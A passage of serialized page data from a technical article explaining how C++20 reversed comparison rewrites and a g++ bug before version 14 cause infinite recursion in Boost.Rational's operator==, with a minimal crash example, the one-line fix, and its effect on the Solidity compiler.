",{"type":23,"tag":75,"props":101158,"children":101159},{"style":209},[101160],{"type":29,"value":2469},{"type":23,"tag":75,"props":101162,"children":101163},{"style":237},[101164],{"type":29,"value":240},{"type":23,"tag":75,"props":101166,"children":101167},{"style":94},[101168],{"type":29,"value":245},{"type":23,"tag":75,"props":101170,"children":101171},{"class":77,"line":3355},[101172],{"type":23,"tag":75,"props":101173,"children":101174},{"style":94},[101175],{"type":29,"value":369},{"type":23,"tag":27910,"props":101177,"children":101178},{},[101179],{"type":23,"tag":2801,"props":101180,"children":101181},{},[101182],{"type":29,"value":101183},"Compile with g++\u003C14:",{"type":23,"tag":64,"props":101185,"children":101187},{"code":101186,"language":15517,"meta":7,"className":15518,"style":7},"g++ -std=c++17 main.cpp -o test && ./test\n",[101188],{"type":23,"tag":71,"props":101189,"children":101190},{"__ignoreMap":7},[101191],{"type":23,"tag":75,"props":101192,"children":101193},{"class":77,"line":78},[101194,101199,101204,101209,101214,101218,101223],{"type":23,"tag":75,"props":101195,"children":101196},{"style":88},[101197],{"type":29,"value":101198},"g++",{"type":23,"tag":75,"props":101200,"children":101201},{"style":1266},[101202],{"type":29,"value":101203}," -std=c++17",{"type":23,"tag":75,"props":101205,"children":101206},{"style":1266},[101207],{"type":29,"value":101208}," main.cpp",{"type":23,"tag":75,"props":101210,"children":101211},{"style":1266},[101212],{"type":29,"value":101213}," -o",{"type":23,"tag":75,"props":101215,"children":101216},{"style":1266},[101217],{"type":29,"value":41873},{"type":23,"tag":75,"props":101219,"children":101220},{"style":94},[101221],{"type":29,"value":101222}," && ",{"type":23,"tag":75,"props":101224,"children":101225},{"style":88},[101226],{"type":29,"value":101227},"./test\n",{"type":23,"tag":32,"props":101229,"children":101230},{},[101231],{"type":29,"value":101232},"Output (on g++ 11.4):",{"type":23,"tag":64,"props":101234,"children":101236},{"code":101235},"g++ \u003C14 resolved non-member\n",[101237],{"type":23,"tag":71,"props":101238,"children":101239},{"__ignoreMap":7},[101240],{"type":29,"value":101235},{"type":23,"tag":27910,"props":101242,"children":101243},{},[101244],{"type":23,"tag":2801,"props":101245,"children":101246},{},[101247],{"type":29,"value":101248},"Compile with clang++:",{"type":23,"tag":64,"props":101250,"children":101252},{"code":101251,"language":15517,"meta":7,"className":15518,"style":7},"clang++ -std=c++17 main.cpp -o test && ./test\n",[101253],{"type":23,"tag":71,"props":101254,"children":101255},{"__ignoreMap":7},[101256],{"type":23,"tag":75,"props":101257,"children":101258},{"class":77,"line":78},[101259,101264,101268,101272,101276,101280,101284],{"type":23,"tag":75,"props":101260,"children":101261},{"style":88},[101262],{"type":29,"value":101263},"clang++",{"type":23,"tag":75,"props":101265,"children":101266},{"style":1266},[101267],{"type":29,"value":101203},{"type":23,"tag":75,"props":101269,"children":101270},{"style":1266},[101271],{"type":29,"value":101208},{"type":23,"tag":75,"props":101273,"children":101274},{"style":1266},[101275],{"type":29,"value":101213},{"type":23,"tag":75,"props":101277,"children":101278},{"style":1266},[101279],{"type":29,"value":41873},{"type":23,"tag":75,"props":101281,"children":101282},{"style":94},[101283],{"type":29,"value":101222},{"type":23,"tag":75,"props":101285,"children":101286},{"style":88},[101287],{"type":29,"value":101227},{"type":23,"tag":32,"props":101289,"children":101290},{},[101291],{"type":29,"value":101292},"Output:",{"type":23,"tag":64,"props":101294,"children":101296},{"code":101295},"clang++ resolved member\n",[101297],{"type":23,"tag":71,"props":101298,"children":101299},{"__ignoreMap":7},[101300],{"type":29,"value":101295},{"type":23,"tag":32,"props":101302,"children":101303},{},[101304],{"type":29,"value":101305},"In short, the wrong function gets picked. G++ was broken here until v14.",{"type":23,"tag":30016,"props":101307,"children":101308},{},[],{"type":23,"tag":24,"props":101310,"children":101312},{"id":101311},"part-ii-c20s-symmetric-comparison-feature",[101313],{"type":29,"value":101314},"Part II: C++20’s Symmetric Comparison Feature",{"type":23,"tag":923,"props":101316,"children":101318},{"id":101317},"what-changed-in-c20",[101319],{"type":29,"value":101320},"What Changed in C++20?",{"type":23,"tag":32,"props":101322,"children":101323},{},[101324,101326,101339,101340,101345],{"type":29,"value":101325},"C++20 introduced the ",{"type":23,"tag":940,"props":101327,"children":101330},{"href":101328,"rel":101329},"https://en.cppreference.com/w/cpp/language/operator_comparison",[944],[101331,101333],{"type":29,"value":101332},"spaceship operator ",{"type":23,"tag":71,"props":101334,"children":101336},{"className":101335},[],[101337],{"type":29,"value":101338},"\u003C=>",{"type":29,"value":2721},{"type":23,"tag":16596,"props":101341,"children":101342},{},[101343],{"type":29,"value":101344},"defaulted comparison rewrites",{"type":29,"value":557},{"type":23,"tag":32,"props":101347,"children":101348},{},[101349,101351,101356],{"type":29,"value":101350},"When you define a two-argument ",{"type":23,"tag":71,"props":101352,"children":101354},{"className":101353},[],[101355],{"type":29,"value":100590},{"type":29,"value":101357},", C++20 may implicitly define the \"reversed\" version:",{"type":23,"tag":27910,"props":101359,"children":101360},{},[101361,101372],{"type":23,"tag":2801,"props":101362,"children":101363},{},[101364,101366],{"type":29,"value":101365},"If you define: ",{"type":23,"tag":71,"props":101367,"children":101369},{"className":101368},[],[101370],{"type":29,"value":101371},"bool operator==(T1, T2);",{"type":23,"tag":2801,"props":101373,"children":101374},{},[101375,101377,101383],{"type":29,"value":101376},"Then ",{"type":23,"tag":71,"props":101378,"children":101380},{"className":101379},[],[101381],{"type":29,"value":101382},"T2 == T1",{"type":29,"value":101384}," may call the same function by reversing the arguments.",{"type":23,"tag":32,"props":101386,"children":101387},{},[101388,101390,101395,101396,101401,101403,101409,101411,101416],{"type":29,"value":101389},"This rewrite is ",{"type":23,"tag":16596,"props":101391,"children":101392},{},[101393],{"type":29,"value":101394},"recursive",{"type":29,"value":863},{"type":23,"tag":71,"props":101397,"children":101399},{"className":101398},[],[101400],{"type":29,"value":100582},{"type":29,"value":101402}," becomes ",{"type":23,"tag":71,"props":101404,"children":101406},{"className":101405},[],[101407],{"type":29,"value":101408},"b == a",{"type":29,"value":101410},", which becomes ",{"type":23,"tag":71,"props":101412,"children":101414},{"className":101413},[],[101415],{"type":29,"value":100582},{"type":29,"value":101417}," again, and so on — if not handled carefully.",{"type":23,"tag":32,"props":101419,"children":101420},{},[101421],{"type":29,"value":101422},"This is great for reducing boilerplate — unless the call becomes ambiguous or self-referential.",{"type":23,"tag":30016,"props":101424,"children":101425},{},[],{"type":23,"tag":24,"props":101427,"children":101429},{"id":101428},"part-iii-the-boost-trapdoor",[101430],{"type":29,"value":101431},"Part III: The Boost Trapdoor",{"type":23,"tag":32,"props":101433,"children":101434},{},[101435,101437,101443,101445,101450],{"type":29,"value":101436},"The old Boost ",{"type":23,"tag":71,"props":101438,"children":101440},{"className":101439},[],[101441],{"type":29,"value":101442},"rational",{"type":29,"value":101444}," class (prior to v1.75) defined both member function and non-member function of ",{"type":23,"tag":71,"props":101446,"children":101448},{"className":101447},[],[101449],{"type":29,"value":100590},{"type":29,"value":1018},{"type":23,"tag":64,"props":101452,"children":101454},{"code":101453,"language":40308,"meta":7,"className":40306,"style":7},"template \u003Cclass Arg, class IntType>\ntemplate \u003Ctypename IntType>\nclass rational\n{\n    ...\npublic:\n    ...\n    \n    template \u003Cclass T>\n    BOOST_CONSTEXPR typename boost::enable_if_c\u003Crational_detail::is_compatible_integer\u003CT, IntType>::value, bool>::type operator== (const T& i) const\n    {\n       return ((den == IntType(1)) && (num == i));\n    }\n    ...\n}\n\ntemplate \u003Cclass Arg, class IntType>\nBOOST_CONSTEXPR\ninline typename boost::enable_if_c \u003C\n   rational_detail::is_compatible_integer\u003CArg, IntType>::value, bool>::type\n   operator == (const Arg& b, const rational\u003CIntType>& a)\n{\n      return a == b; \n}\n",[101455],{"type":23,"tag":71,"props":101456,"children":101457},{"__ignoreMap":7},[101458,101493,101516,101528,101535,101542,101549,101556,101563,101586,101674,101681,101732,101739,101746,101753,101760,101795,101803,101831,101870,101935,101942,101962],{"type":23,"tag":75,"props":101459,"children":101460},{"class":77,"line":78},[101461,101465,101469,101473,101477,101481,101485,101489],{"type":23,"tag":75,"props":101462,"children":101463},{"style":82},[101464],{"type":29,"value":77393},{"type":23,"tag":75,"props":101466,"children":101467},{"style":94},[101468],{"type":29,"value":749},{"type":23,"tag":75,"props":101470,"children":101471},{"style":82},[101472],{"type":29,"value":81582},{"type":23,"tag":75,"props":101474,"children":101475},{"style":104},[101476],{"type":29,"value":100964},{"type":23,"tag":75,"props":101478,"children":101479},{"style":94},[101480],{"type":29,"value":611},{"type":23,"tag":75,"props":101482,"children":101483},{"style":82},[101484],{"type":29,"value":81582},{"type":23,"tag":75,"props":101486,"children":101487},{"style":104},[101488],{"type":29,"value":100783},{"type":23,"tag":75,"props":101490,"children":101491},{"style":94},[101492],{"type":29,"value":17260},{"type":23,"tag":75,"props":101494,"children":101495},{"class":77,"line":100},[101496,101500,101504,101508,101512],{"type":23,"tag":75,"props":101497,"children":101498},{"style":82},[101499],{"type":29,"value":77393},{"type":23,"tag":75,"props":101501,"children":101502},{"style":94},[101503],{"type":29,"value":749},{"type":23,"tag":75,"props":101505,"children":101506},{"style":82},[101507],{"type":29,"value":100778},{"type":23,"tag":75,"props":101509,"children":101510},{"style":104},[101511],{"type":29,"value":100783},{"type":23,"tag":75,"props":101513,"children":101514},{"style":94},[101515],{"type":29,"value":17260},{"type":23,"tag":75,"props":101517,"children":101518},{"class":77,"line":121},[101519,101523],{"type":23,"tag":75,"props":101520,"children":101521},{"style":82},[101522],{"type":29,"value":81582},{"type":23,"tag":75,"props":101524,"children":101525},{"style":104},[101526],{"type":29,"value":101527}," rational\n",{"type":23,"tag":75,"props":101529,"children":101530},{"class":77,"line":138},[101531],{"type":23,"tag":75,"props":101532,"children":101533},{"style":94},[101534],{"type":29,"value":2549},{"type":23,"tag":75,"props":101536,"children":101537},{"class":77,"line":161},[101538],{"type":23,"tag":75,"props":101539,"children":101540},{"style":94},[101541],{"type":29,"value":6478},{"type":23,"tag":75,"props":101543,"children":101544},{"class":77,"line":196},[101545],{"type":23,"tag":75,"props":101546,"children":101547},{"style":82},[101548],{"type":29,"value":100811},{"type":23,"tag":75,"props":101550,"children":101551},{"class":77,"line":220},[101552],{"type":23,"tag":75,"props":101553,"children":101554},{"style":94},[101555],{"type":29,"value":6478},{"type":23,"tag":75,"props":101557,"children":101558},{"class":77,"line":248},[101559],{"type":23,"tag":75,"props":101560,"children":101561},{"style":94},[101562],{"type":29,"value":72965},{"type":23,"tag":75,"props":101564,"children":101565},{"class":77,"line":270},[101566,101570,101574,101578,101582],{"type":23,"tag":75,"props":101567,"children":101568},{"style":82},[101569],{"type":29,"value":100819},{"type":23,"tag":75,"props":101571,"children":101572},{"style":94},[101573],{"type":29,"value":749},{"type":23,"tag":75,"props":101575,"children":101576},{"style":82},[101577],{"type":29,"value":81582},{"type":23,"tag":75,"props":101579,"children":101580},{"style":104},[101581],{"type":29,"value":17188},{"type":23,"tag":75,"props":101583,"children":101584},{"style":94},[101585],{"type":29,"value":17260},{"type":23,"tag":75,"props":101587,"children":101588},{"class":77,"line":279},[101589,101594,101598,101603,101607,101611,101615,101620,101624,101628,101632,101636,101640,101644,101649,101653,101657,101661,101665,101669],{"type":23,"tag":75,"props":101590,"children":101591},{"style":94},[101592],{"type":29,"value":101593},"    BOOST_CONSTEXPR ",{"type":23,"tag":75,"props":101595,"children":101596},{"style":82},[101597],{"type":29,"value":100778},{"type":23,"tag":75,"props":101599,"children":101600},{"style":94},[101601],{"type":29,"value":101602}," boost::enable_if_c\u003Crational_detail::is_compatible_integer\u003C",{"type":23,"tag":75,"props":101604,"children":101605},{"style":104},[101606],{"type":29,"value":17255},{"type":23,"tag":75,"props":101608,"children":101609},{"style":94},[101610],{"type":29,"value":611},{"type":23,"tag":75,"props":101612,"children":101613},{"style":104},[101614],{"type":29,"value":101012},{"type":23,"tag":75,"props":101616,"children":101617},{"style":94},[101618],{"type":29,"value":101619},">::",{"type":23,"tag":75,"props":101621,"children":101622},{"style":104},[101623],{"type":29,"value":1672},{"type":23,"tag":75,"props":101625,"children":101626},{"style":94},[101627],{"type":29,"value":611},{"type":23,"tag":75,"props":101629,"children":101630},{"style":82},[101631],{"type":29,"value":40881},{"type":23,"tag":75,"props":101633,"children":101634},{"style":94},[101635],{"type":29,"value":101619},{"type":23,"tag":75,"props":101637,"children":101638},{"style":104},[101639],{"type":29,"value":386},{"type":23,"tag":75,"props":101641,"children":101642},{"style":82},[101643],{"type":29,"value":100847},{"type":23,"tag":75,"props":101645,"children":101646},{"style":94},[101647],{"type":29,"value":101648},"== (",{"type":23,"tag":75,"props":101650,"children":101651},{"style":82},[101652],{"type":29,"value":2869},{"type":23,"tag":75,"props":101654,"children":101655},{"style":104},[101656],{"type":29,"value":17188},{"type":23,"tag":75,"props":101658,"children":101659},{"style":82},[101660],{"type":29,"value":1277},{"type":23,"tag":75,"props":101662,"children":101663},{"style":110},[101664],{"type":29,"value":3261},{"type":23,"tag":75,"props":101666,"children":101667},{"style":94},[101668],{"type":29,"value":167},{"type":23,"tag":75,"props":101670,"children":101671},{"style":82},[101672],{"type":29,"value":101673},"const\n",{"type":23,"tag":75,"props":101675,"children":101676},{"class":77,"line":303},[101677],{"type":23,"tag":75,"props":101678,"children":101679},{"style":94},[101680],{"type":29,"value":40383},{"type":23,"tag":75,"props":101682,"children":101683},{"class":77,"line":322},[101684,101689,101694,101698,101702,101706,101710,101714,101718,101723,101727],{"type":23,"tag":75,"props":101685,"children":101686},{"style":175},[101687],{"type":29,"value":101688},"       return",{"type":23,"tag":75,"props":101690,"children":101691},{"style":94},[101692],{"type":29,"value":101693}," ((den ",{"type":23,"tag":75,"props":101695,"children":101696},{"style":209},[101697],{"type":29,"value":2469},{"type":23,"tag":75,"props":101699,"children":101700},{"style":88},[101701],{"type":29,"value":100783},{"type":23,"tag":75,"props":101703,"children":101704},{"style":94},[101705],{"type":29,"value":643},{"type":23,"tag":75,"props":101707,"children":101708},{"style":237},[101709],{"type":29,"value":7867},{"type":23,"tag":75,"props":101711,"children":101712},{"style":94},[101713],{"type":29,"value":20092},{"type":23,"tag":75,"props":101715,"children":101716},{"style":209},[101717],{"type":29,"value":84367},{"type":23,"tag":75,"props":101719,"children":101720},{"style":94},[101721],{"type":29,"value":101722}," (num ",{"type":23,"tag":75,"props":101724,"children":101725},{"style":209},[101726],{"type":29,"value":2469},{"type":23,"tag":75,"props":101728,"children":101729},{"style":94},[101730],{"type":29,"value":101731}," i));\n",{"type":23,"tag":75,"props":101733,"children":101734},{"class":77,"line":340},[101735],{"type":23,"tag":75,"props":101736,"children":101737},{"style":94},[101738],{"type":29,"value":346},{"type":23,"tag":75,"props":101740,"children":101741},{"class":77,"line":349},[101742],{"type":23,"tag":75,"props":101743,"children":101744},{"style":94},[101745],{"type":29,"value":6478},{"type":23,"tag":75,"props":101747,"children":101748},{"class":77,"line":363},[101749],{"type":23,"tag":75,"props":101750,"children":101751},{"style":94},[101752],{"type":29,"value":369},{"type":23,"tag":75,"props":101754,"children":101755},{"class":77,"line":656},[101756],{"type":23,"tag":75,"props":101757,"children":101758},{"emptyLinePlaceholder":15},[101759],{"type":29,"value":276},{"type":23,"tag":75,"props":101761,"children":101762},{"class":77,"line":705},[101763,101767,101771,101775,101779,101783,101787,101791],{"type":23,"tag":75,"props":101764,"children":101765},{"style":82},[101766],{"type":29,"value":77393},{"type":23,"tag":75,"props":101768,"children":101769},{"style":94},[101770],{"type":29,"value":749},{"type":23,"tag":75,"props":101772,"children":101773},{"style":82},[101774],{"type":29,"value":81582},{"type":23,"tag":75,"props":101776,"children":101777},{"style":104},[101778],{"type":29,"value":100964},{"type":23,"tag":75,"props":101780,"children":101781},{"style":94},[101782],{"type":29,"value":611},{"type":23,"tag":75,"props":101784,"children":101785},{"style":82},[101786],{"type":29,"value":81582},{"type":23,"tag":75,"props":101788,"children":101789},{"style":104},[101790],{"type":29,"value":100783},{"type":23,"tag":75,"props":101792,"children":101793},{"style":94},[101794],{"type":29,"value":17260},{"type":23,"tag":75,"props":101796,"children":101797},{"class":77,"line":787},[101798],{"type":23,"tag":75,"props":101799,"children":101800},{"style":94},[101801],{"type":29,"value":101802},"BOOST_CONSTEXPR\n",{"type":23,"tag":75,"props":101804,"children":101805},{"class":77,"line":826},[101806,101811,101816,101821,101826],{"type":23,"tag":75,"props":101807,"children":101808},{"style":82},[101809],{"type":29,"value":101810},"inline",{"type":23,"tag":75,"props":101812,"children":101813},{"style":82},[101814],{"type":29,"value":101815}," typename",{"type":23,"tag":75,"props":101817,"children":101818},{"style":94},[101819],{"type":29,"value":101820}," boost::",{"type":23,"tag":75,"props":101822,"children":101823},{"style":104},[101824],{"type":29,"value":101825},"enable_if_c",{"type":23,"tag":75,"props":101827,"children":101828},{"style":209},[101829],{"type":29,"value":101830}," \u003C\n",{"type":23,"tag":75,"props":101832,"children":101833},{"class":77,"line":834},[101834,101839,101844,101848,101852,101857,101861,101865],{"type":23,"tag":75,"props":101835,"children":101836},{"style":94},[101837],{"type":29,"value":101838},"   rational_detail::is_compatible_integer\u003C",{"type":23,"tag":75,"props":101840,"children":101841},{"style":104},[101842],{"type":29,"value":101843},"Arg",{"type":23,"tag":75,"props":101845,"children":101846},{"style":94},[101847],{"type":29,"value":611},{"type":23,"tag":75,"props":101849,"children":101850},{"style":104},[101851],{"type":29,"value":101012},{"type":23,"tag":75,"props":101853,"children":101854},{"style":94},[101855],{"type":29,"value":101856},">::value, ",{"type":23,"tag":75,"props":101858,"children":101859},{"style":82},[101860],{"type":29,"value":40881},{"type":23,"tag":75,"props":101862,"children":101863},{"style":209},[101864],{"type":29,"value":4652},{"type":23,"tag":75,"props":101866,"children":101867},{"style":94},[101868],{"type":29,"value":101869},"::type\n",{"type":23,"tag":75,"props":101871,"children":101872},{"class":77,"line":881},[101873,101878,101883,101887,101891,101895,101899,101903,101907,101911,101915,101919,101923,101927,101931],{"type":23,"tag":75,"props":101874,"children":101875},{"style":82},[101876],{"type":29,"value":101877},"   operator",{"type":23,"tag":75,"props":101879,"children":101880},{"style":94},[101881],{"type":29,"value":101882}," == (",{"type":23,"tag":75,"props":101884,"children":101885},{"style":82},[101886],{"type":29,"value":2869},{"type":23,"tag":75,"props":101888,"children":101889},{"style":104},[101890],{"type":29,"value":100964},{"type":23,"tag":75,"props":101892,"children":101893},{"style":82},[101894],{"type":29,"value":1277},{"type":23,"tag":75,"props":101896,"children":101897},{"style":110},[101898],{"type":29,"value":101045},{"type":23,"tag":75,"props":101900,"children":101901},{"style":94},[101902],{"type":29,"value":611},{"type":23,"tag":75,"props":101904,"children":101905},{"style":82},[101906],{"type":29,"value":2869},{"type":23,"tag":75,"props":101908,"children":101909},{"style":104},[101910],{"type":29,"value":100799},{"type":23,"tag":75,"props":101912,"children":101913},{"style":94},[101914],{"type":29,"value":295},{"type":23,"tag":75,"props":101916,"children":101917},{"style":104},[101918],{"type":29,"value":101012},{"type":23,"tag":75,"props":101920,"children":101921},{"style":94},[101922],{"type":29,"value":4652},{"type":23,"tag":75,"props":101924,"children":101925},{"style":82},[101926],{"type":29,"value":1277},{"type":23,"tag":75,"props":101928,"children":101929},{"style":110},[101930],{"type":29,"value":100171},{"type":23,"tag":75,"props":101932,"children":101933},{"style":94},[101934],{"type":29,"value":653},{"type":23,"tag":75,"props":101936,"children":101937},{"class":77,"line":3355},[101938],{"type":23,"tag":75,"props":101939,"children":101940},{"style":94},[101941],{"type":29,"value":2549},{"type":23,"tag":75,"props":101943,"children":101944},{"class":77,"line":3390},[101945,101949,101953,101957],{"type":23,"tag":75,"props":101946,"children":101947},{"style":175},[101948],{"type":29,"value":50546},{"type":23,"tag":75,"props":101950,"children":101951},{"style":94},[101952],{"type":29,"value":27988},{"type":23,"tag":75,"props":101954,"children":101955},{"style":209},[101956],{"type":29,"value":2469},{"type":23,"tag":75,"props":101958,"children":101959},{"style":94},[101960],{"type":29,"value":101961}," b; \n",{"type":23,"tag":75,"props":101963,"children":101964},{"class":77,"line":3423},[101965],{"type":23,"tag":75,"props":101966,"children":101967},{"style":94},[101968],{"type":29,"value":369},{"type":23,"tag":32,"props":101970,"children":101971},{},[101972,101974,101980],{"type":29,"value":101973},"This was designed under C++17 semantics. Back then, ",{"type":23,"tag":71,"props":101975,"children":101977},{"className":101976},[],[101978],{"type":29,"value":101979},"rhs == lhs",{"type":29,"value":101981}," would fall back to member overloads if available. All good.",{"type":23,"tag":32,"props":101983,"children":101984},{},[101985,101987,101992,101993,101999],{"type":29,"value":101986},"But under ",{"type":23,"tag":71,"props":101988,"children":101990},{"className":101989},[],[101991],{"type":29,"value":100536},{"type":29,"value":32719},{"type":23,"tag":71,"props":101994,"children":101996},{"className":101995},[],[101997],{"type":29,"value":101998},"G++ \u003C 14",{"type":29,"value":1018},{"type":23,"tag":27910,"props":102001,"children":102002},{},[102003,102008,102013,102018],{"type":23,"tag":2801,"props":102004,"children":102005},{},[102006],{"type":29,"value":102007},"G++ incorrectly chooses this non-member operator first",{"type":23,"tag":2801,"props":102009,"children":102010},{},[102011],{"type":29,"value":102012},"C++20 reverses the comparison",{"type":23,"tag":2801,"props":102014,"children":102015},{},[102016],{"type":29,"value":102017},"Which calls the same function again with arguments flipped",{"type":23,"tag":2801,"props":102019,"children":102020},{},[102021],{"type":29,"value":102022},"And so on...",{"type":23,"tag":32,"props":102024,"children":102025},{},[102026,102028,102033],{"type":29,"value":102027},"This creates ",{"type":23,"tag":16596,"props":102029,"children":102030},{},[102031],{"type":29,"value":102032},"infinite recursion",{"type":29,"value":557},{"type":23,"tag":32,"props":102035,"children":102036},{},[102037],{"type":29,"value":102038},"A minimal example:",{"type":23,"tag":64,"props":102040,"children":102042},{"code":102041,"language":40308,"meta":7,"className":40306,"style":7},"// g++ -std=c++20 -o crash main.cpp && ./crash\n#include \u003Cboost/rational.hpp>\n\nint main() {\n    boost::rational\u003Cint> r;\n    return r == 0;\n}\n",[102043],{"type":23,"tag":71,"props":102044,"children":102045},{"__ignoreMap":7},[102046,102054,102066,102073,102088,102112,102135],{"type":23,"tag":75,"props":102047,"children":102048},{"class":77,"line":78},[102049],{"type":23,"tag":75,"props":102050,"children":102051},{"style":3621},[102052],{"type":29,"value":102053},"// g++ -std=c++20 -o crash main.cpp && ./crash\n",{"type":23,"tag":75,"props":102055,"children":102056},{"class":77,"line":100},[102057,102061],{"type":23,"tag":75,"props":102058,"children":102059},{"style":175},[102060],{"type":29,"value":100750},{"type":23,"tag":75,"props":102062,"children":102063},{"style":1266},[102064],{"type":29,"value":102065}," \u003Cboost/rational.hpp>\n",{"type":23,"tag":75,"props":102067,"children":102068},{"class":77,"line":121},[102069],{"type":23,"tag":75,"props":102070,"children":102071},{"emptyLinePlaceholder":15},[102072],{"type":29,"value":276},{"type":23,"tag":75,"props":102074,"children":102075},{"class":77,"line":138},[102076,102080,102084],{"type":23,"tag":75,"props":102077,"children":102078},{"style":82},[102079],{"type":29,"value":30270},{"type":23,"tag":75,"props":102081,"children":102082},{"style":88},[102083],{"type":29,"value":101115},{"type":23,"tag":75,"props":102085,"children":102086},{"style":94},[102087],{"type":29,"value":12966},{"type":23,"tag":75,"props":102089,"children":102090},{"class":77,"line":161},[102091,102096,102100,102104,102108],{"type":23,"tag":75,"props":102092,"children":102093},{"style":94},[102094],{"type":29,"value":102095},"    boost::rational",{"type":23,"tag":75,"props":102097,"children":102098},{"style":209},[102099],{"type":29,"value":295},{"type":23,"tag":75,"props":102101,"children":102102},{"style":82},[102103],{"type":29,"value":30270},{"type":23,"tag":75,"props":102105,"children":102106},{"style":209},[102107],{"type":29,"value":4652},{"type":23,"tag":75,"props":102109,"children":102110},{"style":94},[102111],{"type":29,"value":101144},{"type":23,"tag":75,"props":102113,"children":102114},{"class":77,"line":196},[102115,102119,102123,102127,102131],{"type":23,"tag":75,"props":102116,"children":102117},{"style":175},[102118],{"type":29,"value":355},{"type":23,"tag":75,"props":102120,"children":102121},{"style":94},[102122],{"type":29,"value":101156},{"type":23,"tag":75,"props":102124,"children":102125},{"style":209},[102126],{"type":29,"value":2469},{"type":23,"tag":75,"props":102128,"children":102129},{"style":237},[102130],{"type":29,"value":240},{"type":23,"tag":75,"props":102132,"children":102133},{"style":94},[102134],{"type":29,"value":245},{"type":23,"tag":75,"props":102136,"children":102137},{"class":77,"line":220},[102138],{"type":23,"tag":75,"props":102139,"children":102140},{"style":94},[102141],{"type":29,"value":369},{"type":23,"tag":32,"props":102143,"children":102144},{},[102145],{"type":29,"value":102146},"Expected output: nothing.",{"type":23,"tag":32,"props":102148,"children":102149},{},[102150],{"type":29,"value":102151},"Actual: segmentation fault (stack overflow).",{"type":23,"tag":32,"props":102153,"children":102154},{},[102155,102157,102164],{"type":29,"value":102156},"This exact pattern was ",{"type":23,"tag":940,"props":102158,"children":102161},{"href":102159,"rel":102160},"https://github.com/boostorg/rational/issues/43",[944],[102162],{"type":29,"value":102163},"reported and fixed in Boost rational",{"type":29,"value":102165},", but only in version 1.75+.",{"type":23,"tag":32,"props":102167,"children":102168},{},[102169],{"type":29,"value":102170},"Here’s the one-line fix:",{"type":23,"tag":64,"props":102172,"children":102174},{"code":102173,"language":51552,"meta":7,"className":51550,"style":7},"template \u003Cclass Arg, class IntType>\nBOOST_CONSTEXPR\ninline typename boost::enable_if_c \u003C\n   rational_detail::is_compatible_integer\u003CArg, IntType>::value, bool>::type\n   operator == (const Arg& b, const rational\u003CIntType>& a)\n{\n-     return a == b;\n+     return a.operator==(b);\n}\n",[102175],{"type":23,"tag":71,"props":102176,"children":102177},{"__ignoreMap":7},[102178,102186,102193,102201,102209,102217,102224,102232,102240],{"type":23,"tag":75,"props":102179,"children":102180},{"class":77,"line":78},[102181],{"type":23,"tag":75,"props":102182,"children":102183},{"style":94},[102184],{"type":29,"value":102185},"template \u003Cclass Arg, class IntType>\n",{"type":23,"tag":75,"props":102187,"children":102188},{"class":77,"line":100},[102189],{"type":23,"tag":75,"props":102190,"children":102191},{"style":94},[102192],{"type":29,"value":101802},{"type":23,"tag":75,"props":102194,"children":102195},{"class":77,"line":121},[102196],{"type":23,"tag":75,"props":102197,"children":102198},{"style":94},[102199],{"type":29,"value":102200},"inline typename boost::enable_if_c \u003C\n",{"type":23,"tag":75,"props":102202,"children":102203},{"class":77,"line":138},[102204],{"type":23,"tag":75,"props":102205,"children":102206},{"style":94},[102207],{"type":29,"value":102208},"   rational_detail::is_compatible_integer\u003CArg, IntType>::value, bool>::type\n",{"type":23,"tag":75,"props":102210,"children":102211},{"class":77,"line":161},[102212],{"type":23,"tag":75,"props":102213,"children":102214},{"style":94},[102215],{"type":29,"value":102216},"   operator == (const Arg& b, const rational\u003CIntType>& a)\n",{"type":23,"tag":75,"props":102218,"children":102219},{"class":77,"line":196},[102220],{"type":23,"tag":75,"props":102221,"children":102222},{"style":94},[102223],{"type":29,"value":2549},{"type":23,"tag":75,"props":102225,"children":102226},{"class":77,"line":220},[102227],{"type":23,"tag":75,"props":102228,"children":102229},{"style":1266},[102230],{"type":29,"value":102231},"-     return a == b;\n",{"type":23,"tag":75,"props":102233,"children":102234},{"class":77,"line":248},[102235],{"type":23,"tag":75,"props":102236,"children":102237},{"style":237},[102238],{"type":29,"value":102239},"+     return a.operator==(b);\n",{"type":23,"tag":75,"props":102241,"children":102242},{"class":77,"line":270},[102243],{"type":23,"tag":75,"props":102244,"children":102245},{"style":94},[102246],{"type":29,"value":369},{"type":23,"tag":32,"props":102248,"children":102249},{},[102250,102252,102257,102259,102264],{"type":29,"value":102251},"Instead of calling ",{"type":23,"tag":71,"props":102253,"children":102255},{"className":102254},[],[102256],{"type":29,"value":100582},{"type":29,"value":102258}," — which triggers overload resolution again — the patched version directly calls the member function ",{"type":23,"tag":71,"props":102260,"children":102262},{"className":102261},[],[102263],{"type":29,"value":100590},{"type":29,"value":557},{"type":23,"tag":32,"props":102266,"children":102267},{},[102268],{"type":29,"value":102269},"This prevents C++20 from triggering recursive rewrites.",{"type":23,"tag":30016,"props":102271,"children":102272},{},[],{"type":23,"tag":24,"props":102274,"children":102276},{"id":102275},"part-iv-how-this-breaks-solidity",[102277],{"type":29,"value":102278},"Part IV: How This Breaks Solidity",{"type":23,"tag":32,"props":102280,"children":102281},{},[102282,102284,102289],{"type":29,"value":102283},"The Solidity codebase uses ",{"type":23,"tag":71,"props":102285,"children":102287},{"className":102286},[],[102288],{"type":29,"value":100437},{"type":29,"value":102290}," to represent certain compile-time constant expressions.",{"type":23,"tag":32,"props":102292,"children":102293},{},[102294,102296,102302],{"type":29,"value":102295},"One snippet that can trigger this issue appears in ",{"type":23,"tag":71,"props":102297,"children":102299},{"className":102298},[],[102300],{"type":29,"value":102301},"DeclarationTypeChecker::endVisit",{"type":29,"value":1018},{"type":23,"tag":64,"props":102304,"children":102306},{"code":102305,"language":40308,"meta":7,"className":40306,"style":7},"if (Expression const* length = _typeName.length()) {\n    std::optional\u003Crational> lengthValue;\n\n    if (length->annotation().type && length->annotation().type->category() == Type::Category::RationalNumber)\n        ...\n    else if (std::optional\u003CConstantEvaluator::TypedRational> value = ConstantEvaluator::evaluate(...))\n        lengthValue = value->value;\n\n    if (!lengthValue)\n        ...\n    else if (*lengthValue == 0)  // \u003C-- Infinite recursion happens here\n        ...\n}\n",[102307],{"type":23,"tag":71,"props":102308,"children":102309},{"__ignoreMap":7},[102310,102357,102382,102389,102467,102474,102527,102555,102562,102582,102589,102629,102636],{"type":23,"tag":75,"props":102311,"children":102312},{"class":77,"line":78},[102313,102317,102322,102326,102330,102335,102339,102344,102348,102352],{"type":23,"tag":75,"props":102314,"children":102315},{"style":175},[102316],{"type":29,"value":26807},{"type":23,"tag":75,"props":102318,"children":102319},{"style":94},[102320],{"type":29,"value":102321}," (Expression 